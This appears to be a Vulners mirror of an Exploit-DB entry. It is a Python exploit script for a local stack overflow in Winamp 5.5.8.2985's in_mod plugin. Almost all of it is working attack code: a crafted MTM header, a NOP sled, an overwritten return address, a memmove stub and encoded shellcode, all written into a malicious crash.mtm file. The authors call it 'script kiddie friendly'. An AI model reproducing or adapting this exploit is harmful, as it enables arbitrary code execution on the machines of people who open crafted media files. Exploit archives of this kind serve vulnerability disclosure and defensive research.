Lucene search
K

Winamp 5.5.8.2985 (in_mod plugin) - Local Stack Overflow

🗓️ 25 Oct 2010 00:00:00Reported by Mighty-D & 7eKType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 52 Views

Winamp 5.5.8.2985 (in_mod plugin) - Local Stack Overflow exploi

Code
#!/usr/bin/python  
# Pwn And Beans by Mighty-D and 7eK presents:  
# Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow
# A Script Kiddie Friendly Production
# WINDOWS XP SP3 FULLY PATCHED - NO ASLR OR DEP BYPASS... yet  
# Bug found by http://www.exploit-db.com/exploits/15248/
# An improvement to http://www.exploit-db.com/exploits/15287/
# POC by fdisk
# MemMove Idea from: A.Gomez
# Exploit by Mighty-D and 7eK 
# Special thanks to:  
# fdisk: Who wrote the skeleton of what you are looking at  
# Ryujin: For pointing the bug  
# EDB-Team
# UdeA GITA SSI


import struct

def fill(shellcode):
       nopsFaltantes = ((len(shellcode) / 40)+1)*40 - len(shellcode)
       shellcode += '\x90'*nopsFaltantes
       return shellcode


header = "\x4D\x54\x4D\x10\x63\x6C\x69\x63\x6B\x20\x68\x65\x72\x65\x20\x66\x6F\x72\x20\x69\x6E\x66\x6F\x21\xE0\x00\x29\x39\xFF\xFF\x1F\x00\x40\x0E"
header += "\x78" * 32
buffersize = 65536

nopsled = "\x90" * 58200  +"\x90"*7
eip = "\xED\x1E\x95\x7C"

shellcode = "\x90\x90\x90"+"\x81\xEC\x19\x78\xFF\xFF" #    REALIGN ESP
#[*] x86/alpha_upper encoder
# Place your shellcode here! 
shellcode += "\x89\xe2\xdb\xc3\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49" +\
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" +\
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" +\
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" +\
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x43" +\
"\x5a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" +\
"\x4f\x45\x30\x4c\x4b\x42\x4c\x51\x34\x47\x54\x4c\x4b\x51" +\
"\x55\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x44\x38\x43\x31\x4a" +\
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43" +\
"\x31\x4a\x4b\x50\x49\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a" +\
"\x4e\x50\x31\x4f\x30\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43" +\
"\x44\x45\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x4f\x32\x4a" +\
"\x4b\x4a\x54\x47\x4b\x50\x54\x46\x44\x47\x58\x43\x45\x4a" +\
"\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c" +\
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" +\
"\x4b\x43\x33\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" +\
"\x4c\x45\x31\x4f\x33\x50\x31\x49\x4b\x45\x34\x4c\x4b\x51" +\
"\x53\x46\x50\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x44\x30\x45" +\
"\x4c\x4e\x4d\x4c\x4b\x47\x30\x43\x38\x51\x4e\x42\x48\x4c" +\
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" +\
"\x56\x50\x53\x43\x56\x43\x58\x46\x53\x47\x42\x45\x38\x43" +\
"\x47\x43\x43\x46\x52\x51\x4f\x46\x34\x4b\x4f\x4e\x30\x45" +\
"\x38\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48" +\
"\x56\x51\x4f\x4b\x39\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x44" +\
"\x48\x44\x42\x50\x55\x43\x5a\x45\x52\x4b\x4f\x48\x50\x42" +\
"\x48\x4e\x39\x44\x49\x4b\x45\x4e\x4d\x50\x57\x4b\x4f\x49" +\
"\x46\x46\x33\x46\x33\x46\x33\x50\x53\x51\x43\x51\x53\x50" +\
"\x53\x51\x53\x46\x33\x4b\x4f\x4e\x30\x45\x36\x42\x48\x44" +\
"\x51\x51\x4c\x45\x36\x51\x43\x4c\x49\x4d\x31\x4a\x35\x42" +\
"\x48\x4f\x54\x45\x4a\x44\x30\x48\x47\x50\x57\x4b\x4f\x49" +\
"\x46\x42\x4a\x44\x50\x46\x31\x50\x55\x4b\x4f\x48\x50\x45" +\
"\x38\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x46\x37\x4b\x4f\x48" +\
"\x56\x51\x43\x50\x55\x4b\x4f\x4e\x30\x45\x38\x4d\x35\x47" +\
"\x39\x4d\x56\x47\x39\x50\x57\x4b\x4f\x48\x56\x50\x50\x50" +\
"\x54\x51\x44\x51\x45\x4b\x4f\x4e\x30\x4c\x53\x43\x58\x4d" +\
"\x37\x42\x59\x4f\x36\x42\x59\x51\x47\x4b\x4f\x4e\x36\x51" +\
"\x45\x4b\x4f\x48\x50\x45\x36\x42\x4a\x42\x44\x42\x46\x42" +\
"\x48\x43\x53\x42\x4d\x4b\x39\x4d\x35\x43\x5a\x50\x50\x51" +\
"\x49\x46\x49\x48\x4c\x4c\x49\x4d\x37\x43\x5a\x50\x44\x4b" +\
"\x39\x4d\x32\x46\x51\x4f\x30\x4a\x53\x4f\x5a\x4b\x4e\x51" +\
"\x52\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4c\x53\x4c\x4d\x42" +\
"\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" +\
"\x4e\x4f\x43\x44\x56\x4b\x4f\x42\x55\x47\x34\x4b\x4f\x49" +\
"\x46\x51\x4b\x50\x57\x50\x52\x46\x31\x50\x51\x50\x51\x43" +\
"\x5a\x45\x51\x50\x51\x46\x31\x46\x35\x50\x51\x4b\x4f\x48" +\
"\x50\x42\x48\x4e\x4d\x48\x59\x44\x45\x48\x4e\x50\x53\x4b" +\
"\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x46\x57\x4b\x4f\x48" +\
"\x50\x4c\x4b\x50\x57\x4b\x4c\x4d\x53\x4f\x34\x45\x34\x4b" +\
"\x4f\x49\x46\x46\x32\x4b\x4f\x4e\x30\x42\x48\x4a\x50\x4c" +\
"\x4a\x45\x54\x51\x4f\x50\x53\x4b\x4f\x48\x56\x4b\x4f\x48" +\
"\x50\x41\x41"

shellcode = fill(shellcode)
nroChunks = (len(shellcode) / 40)

strNroChunks = struct.pack("B", nroChunks+13) #El shellcode del mmove resta 13
print ( "nroChunks=0x%X, strNroChunks=0x%X" % (nroChunks,
struct.unpack("B", strNroChunks)[0] ) )

#add strNroChunks
mmove ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x89\xe3\x81\xeb\xcc\xfe\xff\xff\xff\xe3\x60\x89\xfd\x8b\x45\x3c\xf7\xd8\x29\xc5\x8b\x7d\x78\xf7\xd8\x29\xc5\xf7\xdd\x29\xef\x8b\x4f\x18\x50\x90\x90\x90\x90\x90\x58\x8b\x5f\x20\x29\xeb\xf7\xdd\x85\xc9\x75\x0d\xff\x61\xc3\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x49\x8b\x34\x8b\xf7\xdd\x29\xee\xf7\xdd\x31\xc0\x99\xfc\xac\x84\xc0\x74\x20\xc1\xca\x0d\xff\xf7\xd8\x29\xc2\xf7\xd8\xeb\xee\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3b\x54\x24\x28\x75\xb2\x8b\x5f\x24\x50\x90\x90\x90\x90\x58\xf7\xdd\x29\xeb\x50\x53\xf7\xd9\x29\xcb\x29\xcb\x31\xc0\xb0\x20\x29\xc3\xf7\xd9\x66\x8b\x4b\x20\x5b\x58\x4f\x4f\x4f\x4f\x8b\x5f\x20\x47\x50\x90\x90\x90\x58\x47\x47\x47\x29\xeb\x53\x52\x31\xd2\xb2\x20\xf7\xd9\x29\xcb\x29\xcb\x29\xcb\x29\xcb\x29\xd3\x8b\x43\x20\xf7\xd9\x5a\x5b\x29\xe8\xf7\xdd\x4c\x50\x90\x90\x90\x58\x4c\x4c\x4c\x89\x44\x24\x20\x44\x44\x44\x44\x61\xc3\x90\x90\x31\xdb\xb3\x80\x29\xdc\x5b\x89\xe5\x31\xc0\x64\x8b\x40\x30\x48\x8b\x40\x0d\xff\x48\x48\x48\x48\x8b\x70\x20\xad\x2c\x20\x8b\x78\x28\x2c\x20\x89\x7d\x60\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x52\x44\x44\x44\x44\x44\x44\x44\x44\x50\x90\x90\x90\x90\x90\x90\x58\xba\x6c\x2c\xec\xc9\xf7\xda\x81\xea\x22\x22\x22\x22\xf7\xda\x52\x4c\x4c\x4c\x4c\x5a\x57\xe8\xc0\xfe\xff\xff\x53\x89\xeb\x80\xeb\x20\x50\x90\x90\x90\x90\x90\x58\x89\x43\x20\x5b\x31\xc0\x2c\x80\x2c\x70\x29\xc5\x31\xc0\x50\x68\x6c\x20\x20\x20\x68\x6c\x2e\x64\x6c\x68\x6e\x74\x64\x6c\x54\x89\xe8\x2c\x90\x50\x90\x90\x90\x58\x2c\x80\x8b\x40\x20\xff\xd0\x89\xc7\x68\x58\xec\x6a\x5f\x57\xe8\x73\xfe\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x50\x90\x90\x90\x58\x89\xe5\x31\xd2\x66\x81\xea\x9c\xfc\x90\x90\x90\x90\x90\x66\xf7\xda\x66\x29\xd5\x31\xd2\x66\xba\x77\x27\x29\xd4\x89\xe7\x54\x31\xc9\xb1"+strNroChunks+"\x50\x90\x90\x90\x90\x58\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\xfe\xc9\x50\x31\xc0\xb0\x28\xfe\xc0\x50\x90\x90\x90\x90\x58\xfe\xc0\x31\xd2\xb2"+strNroChunks+"\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\xfe\xca\x29\xca\x50\x90\x90\x90\x90\x90\x90\x58\xf6\xe2\x89\xc6\x58\xf7\xdd\x29\xee\xf7\xdd\x50\x51\x31\xdb\xb3\x28\x53\x56\x57\xff\xd0\x66\x81\xec\xf4\xff\x59\x58\x31\xdb\xb3\x28\x50\x90\x90\x90\x90\x58\xf7\xdb\x29\xdf\x31\xdb\xfe\xcb\x29\xde\xe2\x90\x5f\xff\xd7" + "\x90"*20

nops = "\x90"*70

payload = header + nopsled + eip + nops + mmove + shellcode;

file = open("crash.mtm", "w")
file.write(payload)
file.close()

print "mtm file generated successfuly"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation